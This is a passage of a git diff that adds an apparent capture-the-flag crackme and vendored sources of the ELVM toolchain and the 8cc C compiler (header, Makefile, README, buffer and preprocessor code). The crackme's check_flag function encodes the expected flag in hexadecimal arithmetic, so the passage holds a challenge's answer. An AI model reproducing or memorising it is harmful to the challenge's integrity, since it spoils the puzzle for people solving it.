0x4 != 0) { result = 1; } + if (i - 0x5a - 0x1 - 0x1 - 0x3 != 0) { result = 1; } + if (d - 0x39 - 0xa - 0x3 != 0) { result = 1; } + if (j - 0x37 - 0x20 - 0xf - 0x5 - 0x7 - 0x1 - 0x1 != 0) { result = 1; } + if (m - 0x14 - 0x4b != 0) { result = 1; } + if (h - 0x3d - 0x5 - 0xd - 0x4 - 0x2 - 0xa - 0x5 - 0x8 - 0x1 != 0) { result = 1; } + if (k - 0x35 - 0x1c - 0x17 != 0) { result = 1; } + if (o - 0x34 - 0x25 - 0x10 - 0x2 - 0x2 != 0) { result = 1; } + if (b - 0x2f - 0x17 - 0x11 - 0x3 - 0x12 - 0x1 - 0x1 != 0) { result = 1; } + + if (result == 1) { + return 0; + } + + if (getchar() != '}') { + return 0; + } + + return 1; +} + +int main() { + char buffer[0x80]; + + puts("What is the flag?\n"); + + if (check_flag(buffer)) { + puts("Yes! That's it!\n"); + } else { + puts("No, that's not it!\n"); + } + return 0; +} \ No newline at end of file diff --git a/crackme.tscript.dso/elvm/.gitignore b/crackme.tscript.dso/elvm/.gitignore new file mode 100644 index 0000000..89f9ac0 --- /dev/null +++ b/crackme.tscript.dso/elvm/.gitignore @@ -0,0 +1 @@ +out/ diff --git a/crackme.tscript.dso/elvm/.gitmodules b/crackme.tscript.dso/elvm/.gitmodules new file mode 100644 index 0000000..db46c46 --- /dev/null +++ b/crackme.tscript.dso/elvm/.gitmodules @@ -0,0 +1,13 @@ +[submodule "8cc"] + path = 8cc + url = https://github.com/shinh/8cc +[submodule "Whitespace"] + path = Whitespace + url = https://github.com/koturn/Whitespace +[submodule "tinycc"] + path = tinycc + url = https://github.com/mirror/tinycc +[submodule "lci"] + path = lci + url = https://github.com/justinmeza/lci + branch = future diff --git a/crackme.tscript.dso/elvm/.travis.yml b/crackme.tscript.dso/elvm/.travis.yml new file mode 100644 index 0000000..2414d48 --- /dev/null +++ b/crackme.tscript.dso/elvm/.travis.yml @@ -0,0 +1,9 @@ +language: cpp + +compiler: + - clang + +script: + - make -j4 + - make -j4 rb elc-rb + - tools/check_selfhost.sh x86 diff --git a/crackme.tscript.dso/elvm/8cc/.gitignore b/crackme.tscript.dso/elvm/8cc/.gitignore new file mode 100644 index 0000000..8ca751c --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/.gitignore @@ -0,0 +1,7 @@ +*.bin +*.o +*.s +*~ +8cc +stage? +utiltest diff --git a/crackme.tscript.dso/elvm/8cc/8cc.h b/crackme.tscript.dso/elvm/8cc/8cc.h new file mode 100644 index 0000000..8f76d75 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/8cc.h @@ -0,0 +1,431 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#ifndef EIGHTCC_H +#define EIGHTCC_H + +#include +#include +#include +#include +#include +#include +#include + +enum { + TIDENT, + TKEYWORD, + TNUMBER, + TCHAR, + TSTRING, + TEOF, + TINVALID, + // Only in CPP + MIN_CPP_TOKEN, + TNEWLINE, + TSPACE, + TMACRO_PARAM, +}; + +enum { + ENC_NONE, + ENC_CHAR16, + ENC_CHAR32, + ENC_UTF8, + ENC_WCHAR, +}; + +typedef struct { + void **body; + int len; + int nalloc; +} Vector; + +typedef struct Map { +#ifdef __eir__ + struct Map *parent; + Vector* v; +#else + struct Map *parent; + char **key; + void **val; + int size; + int nelem; + int nused; +#endif +} Map; + +typedef struct { + struct Map *map; + Vector *key; +} Dict; + +typedef struct Set { + char *v; + struct Set *next; +} Set; + +typedef struct { + char *body; + int nalloc; + int len; +} Buffer; + +typedef struct { + FILE *file; // stream backed by FILE * + char *p; // stream backed by string + char *name; + int line; + int column; + int ntok; // token counter + int last; // the last character read from file + int buf[3]; // push-back buffer for unread operations + int buflen; // push-back buffer size + time_t mtime; // last modified time. 0 if string-backed file +} File; + +typedef struct { + int kind; + File *file; + int line; + int column; + bool space; // true if the token has a leading space + bool bol; // true if the token is at the beginning of a line + int count; // token number in a file, counting from 0. + Set *hideset; // used by the preprocessor for macro expansion + union { + // TKEYWORD + int id; + // TSTRING or TCHAR + struct { + char *sval; + int slen; + int c; + int enc; + }; + // TMACRO_PARAM + struct { + bool is_vararg; + int position; + }; + }; +} Token; + +enum { + AST_LITERAL = 256, + AST_LVAR, + AST_GVAR, + AST_TYPEDEF, + AST_FUNCALL, + AST_FUNCPTR_CALL, + AST_FUNCDESG, + AST_FUNC, + AST_DECL, + AST_INIT, + AST_CONV, + AST_ADDR, + AST_DEREF, + AST_IF, + AST_TERNARY, + AST_DEFAULT, + AST_RETURN, + AST_COMPOUND_STMT, + AST_STRUCT_REF, + AST_GOTO, + AST_COMPUTED_GOTO, + AST_LABEL, + OP_SIZEOF, + OP_CAST, + OP_SHR, + OP_SHL, + OP_A_SHR, + OP_A_SHL, + OP_PRE_INC, + OP_PRE_DEC, + OP_POST_INC, + OP_POST_DEC, + OP_LABEL_ADDR, +#define op(name, _) name, +#define keyword(name, x, y) name, +#include "keyword.inc" +#undef keyword +#undef op +}; + +enum { + KIND_VOID, + KIND_BOOL, + KIND_CHAR, + KIND_SHORT, + KIND_INT, + KIND_LONG, + KIND_LLONG, + KIND_FLOAT, + KIND_DOUBLE, + KIND_LDOUBLE, + KIND_ARRAY, + KIND_ENUM, + KIND_PTR, + KIND_STRUCT, + KIND_FUNC, + // used only in parser + KIND_STUB, +}; + +typedef struct Type { + int kind; + int size; + int align; + bool usig; // true if unsigned + bool isstatic; + // pointer or array + struct Type *ptr; + // array length + int len; + // struct + Dict *fields; + int offset; + bool is_struct; // true if struct, false if union + // bitfield + int bitoff; + int bitsize; + // function + struct Type *rettype; + Vector *params; + bool hasva; + bool oldstyle; +} Type; + +typedef struct { + char *file; + int line; +} SourceLoc; + +typedef struct Node { + int kind; + Type *ty; + SourceLoc *sourceLoc; + union { + // Char, int, or long + long ival; + // Float or double + struct { + double fval; + char *flabel; + }; + // String + struct { + char *sval; + char *slabel; + }; + // Local/global variable + struct { + char *varname; + // local + int loff; + Vector *lvarinit; + // global + char *glabel; + }; + // Binary operator + struct { + struct Node *left; + struct Node *right; + }; + // Unary operator + struct { + struct Node *operand; + }; + // Function call or function declaration + struct { + char *fname; + // Function call + Vector *args; + struct Type *ftype; + // Function pointer or function designator + struct Node *fptr; + // Function declaration + Vector *params; + Vector *localvars; + struct Node *body; + }; + // Declaration + struct { + struct Node *declvar; + Vector *declinit; + }; + // Initializer + struct { + struct Node *initval; + int initoff; + Type *totype; + }; + // If statement or ternary operator + struct { + struct Node *cond; + struct Node *then; + struct Node *els; + }; + // Goto and label + struct { + char *label; + char *newlabel; + }; + // Return statement + struct Node *retval; + // Compound statement + Vector *stmts; + // Struct reference + struct { + struct Node *struc; + char *field; + Type *fieldtype; + }; + }; +} Node; + +extern Type *type_void; +extern Type *type_bool; +extern Type *type_char; +extern Type *type_short; +extern Type *type_int; +extern Type *type_long; +extern Type *type_llong; +extern Type *type_uchar; +extern Type *type_ushort; +extern Type *type_uint; +extern Type *type_ulong; +extern Type *type_ullong; +extern Type *type_float; +extern Type *type_double; +extern Type *type_ldouble; + +#define EMPTY_MAP ((Map){}) +#define EMPTY_VECTOR ((Vector){}) + +// encoding.c +Buffer *to_utf16(char *p, int len); +Buffer *to_utf32(char *p, int len); +void write_utf8(Buffer *b, uint32_t rune); + +// buffer.c +Buffer *make_buffer(void); +char *buf_body(Buffer *b); +int buf_len(Buffer *b); +void buf_write(Buffer *b, char c); +void buf_append(Buffer *b, char *s, int len); +void buf_printf(Buffer *b, char *fmt, ...); +char *vformat(char *fmt, va_list ap); +char *format(char *fmt, ...); +char *quote_cstring(char *p); +char *quote_cstring_len(char *p, int len); +char *quote_char(char c); + +// cpp.c +void read_from_string(char *buf); +bool is_ident(Token *tok, char *s); +void expect_newline(void); +void add_include_path(char *path); +void init_now(void); +void cpp_init(void); +Token *peek_token(void); +Token *read_token(void); + +// debug.c +char *ty2s(Type *ty); +char *node2s(Node *node); +char *tok2s(Token *tok); + +// dict.c +Dict *make_dict(void); +void *dict_get(Dict *dict, char *key); +void dict_put(Dict *dict, char *key, void *val); +Vector *dict_keys(Dict *dict); + +// error.c +extern bool enable_warning; +extern bool dumpstack; +extern bool dumpsource; +extern bool warning_is_error; + +#define STR2(x) #x +#define STR(x) STR2(x) +#define error(...) errorf(__FILE__ ":" STR(__LINE__), NULL, __VA_ARGS__) +#define errort(tok, ...) errorf(__FILE__ ":" STR(__LINE__), token_pos(tok), __VA_ARGS__) +#define warn(...) warnf(__FILE__ ":" STR(__LINE__), NULL, __VA_ARGS__) +#define warnt(tok, ...) warnf(__FILE__ ":" STR(__LINE__), token_pos(tok), __VA_ARGS__) + +noreturn void errorf(char *line, char *pos, char *fmt, ...); +void warnf(char *line, char *pos, char *fmt, ...); +char *token_pos(Token *tok); + +// file.c +File *make_file(FILE *file, char *name); +File *make_file_string(char *s); +int readc(void); +void unreadc(int c); +File *current_file(void); +void stream_push(File *file); +int stream_depth(void); +char *input_position(void); +void stream_stash(File *f); +void stream_unstash(void); + +// gen.c +void set_output_file(FILE *fp); +void close_output_file(void); +void emit_toplevel(Node *v); + +// lex.c +void lex_init(char *filename); +char *get_base_file(void); +void skip_cond_incl(void); +char *read_header_file_name(bool *std); +bool is_keyword(Token *tok, int c); +void token_buffer_stash(Vector *buf); +void token_buffer_unstash(); +void unget_token(Token *tok); +Token *lex_string(char *s); +Token *lex(void); + +// map.c +Map *make_map(void); +Map *make_map_parent(Map *parent); +void *map_get(Map *m, char *key); +void map_put(Map *m, char *key, void *val); +void map_remove(Map *m, char *key); +size_t map_len(Map *m); + +// parse.c +char *make_tempname(void); +char *make_label(void); +bool is_inttype(Type *ty); +bool is_flotype(Type *ty); +void *make_pair(void *first, void *second); +int eval_intexpr(Node *node, Node **addr); +Node *read_expr(void); +Vector *read_toplevels(void); +void parse_init(void); +char *fullpath(char *path); + +// set.c +Set *set_add(Set *s, char *v); +bool set_has(Set *s, char *v); +Set *set_union(Set *a, Set *b); +Set *set_intersection(Set *a, Set *b); + +// vector.c +Vector *make_vector(void); +Vector *make_vector1(void *e); +Vector *vec_copy(Vector *src); +void vec_push(Vector *vec, void *elem); +void vec_append(Vector *a, Vector *b); +void *vec_pop(Vector *vec); +void *vec_get(Vector *vec, int index); +void vec_set(Vector *vec, int index, void *val); +void *vec_head(Vector *vec); +void *vec_tail(Vector *vec); +Vector *vec_reverse(Vector *vec); +void *vec_body(Vector *vec); +int vec_len(Vector *vec); + +#endif diff --git a/crackme.tscript.dso/elvm/8cc/HACKING.md b/crackme.tscript.dso/elvm/8cc/HACKING.md new file mode 100644 index 0000000..6eabd9b --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/HACKING.md @@ -0,0 +1,31 @@ +I accept small patches, but because this is my hobby project to +learn about compilers, it's unlikely to accept large patches. +That's in practice not going to be an issue, because +if you are writing a large patch, that is your hobby project. +You want to hack in your forked repository rather than +taking time to send pull requests. + +# Memory management + +No memory management is a memory management scheme in 8cc. +Memory regions allocated using malloc are never freed +until the process terminates. That has greatly simplified +the code and the APIs because 1) you can write code as if +garbage collector were present, and 2) that design +decision has eliminated use-after-free bugs entirely. + +Modern computers have gigs of memory. 8cc consumes +only about 100MB to compile 10K lines of C source file. +Compiler is not a long-running process. +It will never run out of memory unless you give an +unrealistically large source file. + +If we really need to free memory, we could use Boehm garbage +collector. I don't see that need at this moment though. + +# Backend + +Backend is being rewritten. Once it's done, the current backend +code will be discarded. The new backend models after the LLVM IR +because the IR looks to be designed well. That's not going to be +the same, though. \ No newline at end of file diff --git a/crackme.tscript.dso/elvm/8cc/LICENSE b/crackme.tscript.dso/elvm/8cc/LICENSE new file mode 100644 index 0000000..12b9b64 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/LICENSE @@ -0,0 +1,18 @@ +Copyright (c) 2012 Rui Ueyama + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/crackme.tscript.dso/elvm/8cc/Makefile b/crackme.tscript.dso/elvm/8cc/Makefile new file mode 100644 index 0000000..736bbd3 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/Makefile @@ -0,0 +1,74 @@ +CFLAGS=-Wall -Wno-strict-aliasing -std=gnu11 -g -I. -O0 +OBJS=cpp.o debug.o dict.o gen.o lex.o vector.o parse.o buffer.o map.o \ + error.o path.o file.o set.o encoding.o +TESTS := $(patsubst %.c,%.bin,$(filter-out test/testmain.c,$(wildcard test/*.c))) +ECC=./8cc +override CFLAGS += -DBUILD_DIR='"$(shell pwd)"' + +8cc: 8cc.h main.o $(OBJS) + cc -o $@ main.o $(OBJS) $(LDFLAGS) + +$(OBJS) utiltest.o main.o: 8cc.h keyword.inc + +utiltest: 8cc.h utiltest.o $(OBJS) + cc -o $@ utiltest.o $(OBJS) $(LDFLAGS) + +test/%.o: test/%.c + $(CC) $(CFLAGS) -w -o $@ -c $< + +test/%.bin: test/%.o test/testmain.o + cc -o $@ $< test/testmain.o $(LDFLAGS) + +self: 8cc cleanobj + $(MAKE) CC=$(ECC) CFLAGS= 8cc + +test: 8cc + $(MAKE) CC=$(ECC) CFLAGS= utiltest $(TESTS) + ./utiltest + ./test/ast.sh + ./test/negative.py + $(MAKE) runtests + +runtests: + @for test in $(TESTS); do \ + ./$$test || exit; \ + done + +stage1: + $(MAKE) cleanobj + [ -f 8cc ] || $(MAKE) 8cc + mv 8cc stage1 + +stage2: stage1 + $(MAKE) cleanobj + $(MAKE) CC=./stage1 ECC=./stage1 CFLAGS= 8cc + mv 8cc stage2 + +stage3: stage2 + $(MAKE) cleanobj + $(MAKE) CC=./stage2 ECC=./stage2 CFLAGS= 8cc + mv 8cc stage3 + +# Compile and run the tests with the default compiler. +testtest: + $(MAKE) clean + $(MAKE) $(TESTS) + $(MAKE) runtests + +fulltest: testtest + $(MAKE) stage1 + $(MAKE) CC=./stage1 ECC=./stage1 CFLAGS= test + $(MAKE) stage2 + $(MAKE) CC=./stage2 ECC=./stage2 CFLAGS= test + $(MAKE) stage3 + cmp stage2 stage3 + +clean: cleanobj + rm -f 8cc stage? + +cleanobj: + rm -f *.o *.s test/*.o test/*.bin utiltest + +all: 8cc + +.PHONY: clean cleanobj test runtests fulltest self all diff --git a/crackme.tscript.dso/elvm/8cc/README.md b/crackme.tscript.dso/elvm/8cc/README.md new file mode 100644 index 0000000..ff26465 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/README.md @@ -0,0 +1,84 @@ +8cc C Compiler +============== + +8cc is a compiler for the C programming language. +It's intended to support all C11 language features +while keeping the code as small and simple as possible. + +The compiler is able to compile itself. +You can see its code both as an implementation of the C language +and as an example of what this compiler is able to compile. + +8cc's source code is carefully written to be as concise and easy-to-read +as possible, so that the source code becomes good study material +to learn about various techniques used in compilers. +You may find the lexer, the preprocessor and the parser are +already useful to learn how C source code is processed at each stage. + +It's not an optimizing compiler. +Generated code is usually 2x or more slower than GCC. +I plan to implement a reasonable level of optimization in the future. + +8cc supports x86-64 Linux only. I have no plan to make it portable until +I fix all known miscompilations and implement an optimization pass. +As of 2015, I'm using Ubuntu 14 as my development platform. +It should work on other x86-64 Linux distributions though. + +Note: Do not have high expectations on this compiler. +If you try to compile a program other than the compiler itself, +there's a good chance to see compile errors or miscompilations. +This is basically a one-man project, and I have spent only a few +months of my spare time so far. + +Build +----- + +Run make to build: + + make + +8cc comes with unit tests. To run the tests, give "test" as an argument: + + make test + +The following target builds 8cc three times to verify that +stage1 compiler can build stage2, and stage2 can build stage3. +It then compares stage2 and stage3 binaries byte-by-byte to verify +that we reach a fixed point. + + make fulltest + +Author +------ + +Rui Ueyama + + +Links for C compiler development +-------------------------------- + +Besides popular books about compiler, such as the Dragon Book, +I found the following books/documents are very useful +to develop a C compiler. +Note that the standard draft versions are very close to the ratified versions. +You can practically use them as the standard documents. + +- LCC: A Retargetable C Compiler: Design and Implementation + http://www.amazon.com/dp/0805316701, + https://github.com/drh/lcc + +- TCC: Tiny C Compiler + http://bellard.org/tcc/, + http://repo.or.cz/w/tinycc.git/tree + +- C99 standard final draft + http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf + +- C11 standard final draft + http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf + +- Dave Prosser's C Preprocessing Algorithm + http://www.spinellis.gr/blog/20060626/ + +- The x86-64 ABI + http://www.x86-64.org/documentation/abi.pdf diff --git a/crackme.tscript.dso/elvm/8cc/buffer.c b/crackme.tscript.dso/elvm/8cc/buffer.c new file mode 100644 index 0000000..9295b43 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/buffer.c @@ -0,0 +1,133 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +#include +#include +#include +#include +#include "8cc.h" + +#define BUFFER_INIT_SIZE 8 + +Buffer *make_buffer() { + Buffer *r = malloc(sizeof(Buffer)); + r->body = malloc(BUFFER_INIT_SIZE); + r->nalloc = BUFFER_INIT_SIZE; + r->len = 0; + return r; +} + +static void realloc_body(Buffer *b) { + int newsize = b->nalloc * 2; + char *body = malloc(newsize); + memcpy(body, b->body, b->len); + b->body = body; + b->nalloc = newsize; +} + +char *buf_body(Buffer *b) { + return b->body; +} + +int buf_len(Buffer *b) { + return b->len; +} + +void buf_write(Buffer *b, char c) { + if (b->nalloc == (b->len + 1)) + realloc_body(b); + b->body[b->len++] = c; +} + +void buf_append(Buffer *b, char *s, int len) { + for (int i = 0; i < len; i++) + buf_write(b, s[i]); +} + +void buf_printf(Buffer *b, char *fmt, ...) { + va_list args; + for (;;) { + int avail = b->nalloc - b->len; + va_start(args, fmt); + int written = vsnprintf(b->body + b->len, avail, fmt, args); + va_end(args); + if (avail <= written) { + realloc_body(b); + continue; + } + b->len += written; + return; + } +} + +char *vformat(char *fmt, va_list ap) { + Buffer *b = make_buffer(); + va_list aq; + for (;;) { + int avail = b->nalloc - b->len; + va_copy(aq, ap); + int written = vsnprintf(b->body + b->len, avail, fmt, aq); + va_end(aq); + if (avail <= written) { + realloc_body(b); + continue; + } + b->len += written; + return buf_body(b); + } +} + +char *format(char *fmt, ...) { + va_list ap; + va_start(ap, fmt); + char *r = vformat(fmt, ap); + va_end(ap); + return r; +} + +static char *quote(char c) { + switch (c) { + case '"': return "\\\""; + case '\\': return "\\\\"; + case '\b': return "\\b"; + case '\f': return "\\f"; + case '\n': return "\\n"; + case '\r': return "\\r"; + case '\t': return "\\t"; + } + return NULL; +} + +static void print(Buffer *b, char c) { + char *q = quote(c); + if (q) { + buf_printf(b, "%s", q); + } else if (isprint(c)) { + buf_printf(b, "%c", c); + } else { +#ifdef __eir__ + buf_printf(b, "\\x%x", c); +#else + buf_printf(b, "\\x%02x", c); +#endif + } +} + +char *quote_cstring(char *p) { + Buffer *b = make_buffer(); + while (*p) + print(b, *p++); + return buf_body(b); +} + +char *quote_cstring_len(char *p, int len) { + Buffer *b = make_buffer(); + for (int i = 0; i < len; i++) + print(b, p[i]); + return buf_body(b); +} + +char *quote_char(char c) { + if (c == '\\') return "\\\\"; + if (c == '\'') return "\\'"; + return format("%c", c); +} diff --git a/crackme.tscript.dso/elvm/8cc/cpp.c b/crackme.tscript.dso/elvm/8cc/cpp.c new file mode 100644 index 0000000..5406eb1 --- /dev/null +++ b/crackme.tscript.dso/elvm/8cc/cpp.c @@ -0,0 +1,1066 @@ +// Copyright 2012 Rui Ueyama. Released under the MIT license. + +/* + * This implements Dave Prosser's C Preprocessing algorithm, described + * in this document: https://github.com/rui314/8cc/wiki/cpp.algo.pdf + */ + +#include +#include +#include +#include +#include +#include +#include +#include "8cc.h" + +static Map *macros = &EMPTY_MAP; +static Map *once = &EMPTY_MAP; +static Map *keywords = &EMPTY_MAP; +static Map *include_guard = &EMPTY_MAP; +static Vector *cond_incl_stack = &EMPTY_VECTOR; +static Vector *std_include_path = &EMPTY_VECTOR; +static struct tm now; +static Token *cpp_token_zero = &(Token){ .kind = TNUMBER, .sval = "0" }; +static Token *cpp_token_one = &(Token){ .kind = TNUMBER, .sval = "1" }; + +typedef void SpecialMacroHandler(Token *tok); +typedef enum { IN_THEN, IN_ELIF, IN_ELSE } CondInclCtx; +typedef enum { MACRO_OBJ, MACRO_FUNC, MACRO_SPECIAL } MacroType; + +typedef struct { + CondInclCtx ctx; + char *include_guard; + File *file; + bool wastrue; +} CondIncl; + +typedef struct { + MacroType kind; + int nargs; + Vector *body; + bool is_varg; + SpecialMacroHandler *fn; +} Macro; + +static Macro *make_obj_macro(Vector *body); +static Macro *make_func_macro(Vector *body, int nargs, bool is_varg); +static Macro *make_special_macro(SpecialMacroHandler *fn); +static void define_obj_macro(char *name, Token *value); +static void read_directive(Token *hash); +static Token *read_expand(void); + +/* + * Constructors + */ + +static CondIncl *make_cond_incl(bool wastrue) { + CondIncl *r = calloc(1, sizeof(CondIncl)); + r->ctx = IN_THEN; + r->wastrue = wastrue; + return r; +} + +static Macro *make_macro(Macro *tmpl) { + Macro *r = malloc(sizeof(Macro)); + *r = *tmpl; + return r; +} + +static Macro *make_obj_macro(Vector *body) { + return make_macro(&(Macro){ MACRO_OBJ, .body = body }); +} + +static Macro *make_func_macro(Vector *body, int nargs, bool is_varg) { + return make_macro(&(Macro){ + MACRO_FUNC, .nargs = nargs, .body = body, .is_varg = is_varg }); +} + +static Macro *make_special_macro(SpecialMacroHandler *fn) { + return make_macro(&(Macro){ MACRO_SPECIAL, .fn = fn }); +} + +static Token *make_macro_token(int position, bool is_vararg) { + Token *r = malloc(sizeof(Token)); + r->kind = TMACRO_PARAM; + r->is_vararg = is_vararg; + r->hideset = NULL; + r->position = position; + r->space = false; + r->bol = false; + return r; +} + +static Token *copy_token(Token *tok) { + Token *r = malloc(sizeof(Token)); + *r = *tok; + return r; +} + +static void cpp_expect(char id) { + Token *tok = lex(); + if (!is_keyword(tok, id)) + errort(tok, "%c expected, but got %s", id, tok2s(tok)); +} + +/* + * Utility functions + */ + +bool is_ident(Token *tok, char *s) { + return tok->kind == TIDENT && !strcmp(tok->sval, s); +} + +static bool cpp_next(int id) { + Token *tok = lex(); + if (is_keyword(tok, id)) + return true; + unget_token(tok); + return false; +} + +static void propagate_space(Vector *tokens, Token *tmpl) { + if (vec_len(tokens) == 0) + return; + Token *tok = copy_token(vec_head(tokens)); + tok->space = tmpl->space; + vec_set(tokens, 0, tok); +} + +/* + * Macro expander + */ + +static Token *cpp_read_ident() { + Token *tok = lex(); + if (tok->kind != TIDENT) + errort(tok, "identifier expected, but got %s", tok2s(tok)); + return tok; +} + +void expect_newline() { + Token *tok = lex(); + if (tok->kind != TNEWLINE) + errort(tok, "newline expected, but got %s", tok2s(tok)); +} + +static Vector *read_one_arg(Token *ident, bool *end, bool readall) { + Vector *r = make_vector(); + int level = 0; + for (;;) { + Token *tok = lex(); + if (tok->kind == TEOF) + errort(ident, "unterminated macro argument list"); + if (tok->kind == TNEWLINE) + continue; + if (tok->bol && is_keyword(tok, '#')) { + read_directive(tok); + continue; + } + if (level == 0 && is_keyword(tok, ')')) { + unget_token(tok); + *end = true; + return r; + } + if (level == 0 && is_keyword(tok, ',') && !readall) + return r; + if (is_keyword(tok, '(')) + level++; + if (is_keyword(tok, ')')) + level--; + // C11 6.10.3p10: Within the macro argument list, + // newline is considered a normal whitespace character. + // I don't know why the standard specifies such a minor detail, + // but the difference of newline and space is observable + // if you stringize tokens using #. + if (tok->bol) { + tok = copy_token(tok); + tok->bol = false; + tok->space = true; + } + vec_push(r, tok); + } +} + +static Vector *do_read_args(Token *ident, Macro *macro) { + Vector *r = make_vector(); + bool end = false; + while (!end) { + bool in_ellipsis = (macro->is_varg && vec_len(r) + 1 == macro->nargs); + vec_push(r, read_one_arg(ident, &end, in_ellipsis)); + } + if (macro->is_varg && vec_len(r) == macro->nargs - 1) + vec_push(r, make_vector()); + return r; +} + +static Vector *read_args(Token *tok, Macro *macro) { + if (macro->nargs == 0 && is_keyword(peek_token(), ')')) { + // If a macro M has no parameter, argument list of M() + // is an empty list. If it has one parameter, + // argument list of M() is a list containing an empty list. + return make_vector(); + } + Vector *args = do_read_args(tok, macro); + if (vec_len(args) != macro->nargs) + errort(tok, "macro argument number does not match"); + return args; +} + +static Vector *add_hide_set(Vector *tokens, Set *hideset) { + Vector *r = make_vector(); + for (int i = 0; i < vec_len(tokens); i++) { + Token *t = copy_token(vec_get(tokens, i)); + t->hideset = set_union(t->hideset, hideset); + vec_push(r, t); + } + return r; +} + +static Token *glue_tokens(Token *t, Token *u) { + Buffer *b = make_buffer(); + buf_printf(b, "%s", tok2s(t)); + buf_printf(b, "%s", tok2s(u)); + Token *r = lex_string(buf_body(b)); + return r; +} + +static void glue_push(Vector *tokens, Token *tok) { + Token *last = vec_pop(tokens); + vec_push(tokens, glue_tokens(last, tok)); +} + +static Token *stringize(Token *tmpl, Vector *args) { + Buffer *b = make_buffer(); + for (int i = 0; i < vec_len(args); i++) { + Token *tok = vec_get(args, i); + if (buf_len(b) && tok->space) + buf_printf(b, " "); + buf_printf(b, "%s", tok2s(tok)); + } + buf_write(b, '\0'); + Token *r = copy_token(tmpl); + r->kind = TSTRING; + r->sval = buf_body(b); + r->slen = buf_len(b); + r->enc = ENC_NONE; + return r; +} + +static Vector *expand_all(Vector *tokens, Token *tmpl) { + token_buffer_stash(vec_reverse(tokens)); + Vector *r = make_vector(); + for (;;) { + Token *tok = read_expand(); + if (tok->kind == TEOF) + break; + vec_push(r, tok); + } + propagate_space(r, tmpl); + token_buffer_unstash(); + return r; +} + +static Vector *subst(Macro *macro, Vector *args, Set *hideset) { + Vector *r = make_vector(); + int len = vec_len(macro->body); + for (int i = 0; i < len; i++) { + Token *t0 = vec_get(macro->body, i); + Token *t1 = (i == len - 1) ? NULL : vec_get(macro->body, i + 1); + bool t0_param = (t0->kind == TMACRO_PARAM); + bool t1_param = (t1 && t1->kind == TMACRO_PARAM); + + if (is_keyword(t0, '#') && t1_param) { + vec_push(r, stringize(t0, vec_get(args, t1->position))); + i++; + continue; + } + if (is_keyword(t0, KHASHHASH) && t1_param) { + Vector *arg = vec_get(args, t1->position); + // [GNU] [,##__VA_ARG__] is expanded to the empty token sequence + // if __VA_ARG__ is empty. Otherwise it's expanded to + // [,]. + if (t1->is_vararg && vec_len(r) > 0 && is_keyword(vec_tail(r), ',')) { + if (vec_len(arg) > 0) + vec_append(r, arg); + else + vec_pop(r); + } else if (vec_len(arg) > 0) { + glue_push(r, vec_head(arg)); + for (int i = 1; i < vec_len(arg); i++) + vec_push(r, vec_get(arg, i)); + } + i++; + continue; + } + if (is_keyword(t0, KHASHHASH) && t1) { + hideset = t1->hideset; + glue_push(r, t1); + i++; + continue; + } + if (t0_param && t1 && is_keyword(t1, KHASHHASH)) { + hideset = t1->hideset; + Vector *arg = vec_get(args, t0->position); + if (vec_len(arg) == 0) + i++; + else + vec_append(r, arg); + continue; + } + if (t0_param) { + Vector *arg = vec_get(args, t0->position); + vec_append(r, expand_all(arg, t0)); + continue; + } + vec_push(r, t0); + } + return add_hide_set(r, hideset); +} + +static void unget_all(Vector *tokens) { + for (int i = vec_len(tokens); i > 0;) + unget_token(vec_get(tokens, --i)); +} + +// This is "expand" function in the Dave Prosser's document. +static Token *read_expand_newline() { + Token *tok = lex(); + if (tok->kind != TIDENT) + return tok; + char *name = tok->sval; + Macro *macro = map_get(macros, name); + if (!macro || set_has(tok->hideset, name)) + return tok; + + switch (macro->kind) { + case MACRO_OBJ: { + Set *hideset = set_add(tok->hideset, name); + Vector *tokens = subst(macro, NULL, hideset); + propagate_space(tokens, tok); + unget_all(tokens); + return read_expand(); + } + case MACRO_FUNC: { + if (!cpp_next('(')) + return tok; + Vector *args = read_args(tok, macro); + Token *rparen = peek_token(); + cpp_expect(')'); + Set *hideset = set_add(set_intersection(tok->hideset, rparen->hideset), name); + Vector *tokens = subst(macro, args, hideset); + propagate_space(tokens, tok); + unget_all(tokens); + return read_expand(); + } + case MACRO_SPECIAL: + macro->fn(tok); + return read_expand(); + default: + error("internal error"); + } +} + +static Token *read_expand() { + for (;;) { + Token *tok = read_expand_newline(); + if (tok->kind != TNEWLINE) + return tok; + } +} + +static bool read_funclike_macro_params(Token *name, Map *param) { + int pos = 0; + for (;;) { + Token *tok = lex(); + if (is_keyword(tok, ')')) + return false; + if (pos) { + if (!is_keyword(tok, ',')) + errort(tok, ", expected, but got %s", tok2s(tok)); + tok = lex(); + } + if (tok->kind == TNEWLINE) + errort(name, "missing ')' in macro parameter list"); + if (is_keyword(tok, KELLIPSIS)) { + map_put(param, "__VA_ARGS__", make_macro_token(pos++, true)); + cpp_expect(')'); + return true; + } + if (tok->kind != TIDENT) + errort(tok, "identifier expected, but got %s", tok2s(tok)); + char *arg = tok->sval; + if (cpp_next(KELLIPSIS)) { + cpp_expect(')'); + map_put(param, arg, make_macro_token(pos++, true)); + return true; + } 